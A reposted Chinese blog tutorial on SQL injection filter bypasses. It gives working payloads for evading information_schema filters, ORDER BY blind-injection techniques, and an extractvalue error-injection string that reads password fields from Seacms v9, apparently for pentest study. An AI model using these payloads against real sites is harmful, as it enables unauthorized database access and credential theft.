欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > 绕过信息过滤与注入限制

绕过信息过滤与注入限制

2025/4/3 11:37:49 来源:https://blog.csdn.net/qq_75040884/article/details/145913098  浏览:    关键词:绕过信息过滤与注入限制

绕过 information_schema 过滤

information_schema 是 MySQL 中存储元数据的系统数据库,常用于 SQL 注入中获取表名、列名等信息。当 information_schema 被过滤时,可以通过以下方法绕过。

1 替代视图

使用 sys 库(MySQL 5.7+)

sys 库是 MySQL 5.7 及以上版本提供的系统库,包含丰富的元数据信息。

数据库中:SELECT table_name FROM sys.schema_auto_increment_columns 
WHERE table_schema = DATABASE();

mysql.innodb_table_stats 表存储了 InnoDB 表的统计信息,可用于获取表名

数据库中:SELECT table_name FROM mysql.innodb_table_stats 
WHERE database_name = DATABASE();

2 编码混淆

通过编码混淆关键字,可以绕过简单的字符串过滤。

方法eg
URL%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61
Unicodeinformation\u005f_schema
十六进制0x696e666f726d6174696f6e5f736368656d61

3 语法变形

通过语法变形,可以绕过对关键字的直接过滤。

内联注释绕过

数据库中:

SELECT table_name FROM /*!information_schema*/.tables;

关键字分割

数据库中:

SELECT table_name FROM information/**/_schema.tables;

绕过 ORDER BY 注入限制

ORDER BY 注入是一种常见的 SQL 注入类型,通常用于盲注场景。以下是几种绕过限制的方法。

1 联合查询注入

通过联合查询,可以直接获取数据。

2 盲注技术类型

布尔盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,1,2)
时间盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),1)
正则匹配ORDER BY (SELECT table_name) REGEXP '^a'

3 分页提取数据

通过 LIMIT 和 OFFSET 分页提取数据

数据库中:

ORDER BY (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0);

Seacmsv9 报错注入:

Seacmsv9 是一款常见的内容管理系统,曾存在报错注入漏洞。以下是漏洞利用过程与分析。

1 漏洞利用过程

通过构造恶意请求触发报错注入。

2 报错结果分析

成功回显数据库名

密码字段截断处理

通过 MID() 函数分段读取密码字段

数据库中:extractvalue(1,concat_ws(0x20,0x5c,mid((SELECT password),1,30)))

3 常见问题排查

权限不足

字段过长

特殊字符

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词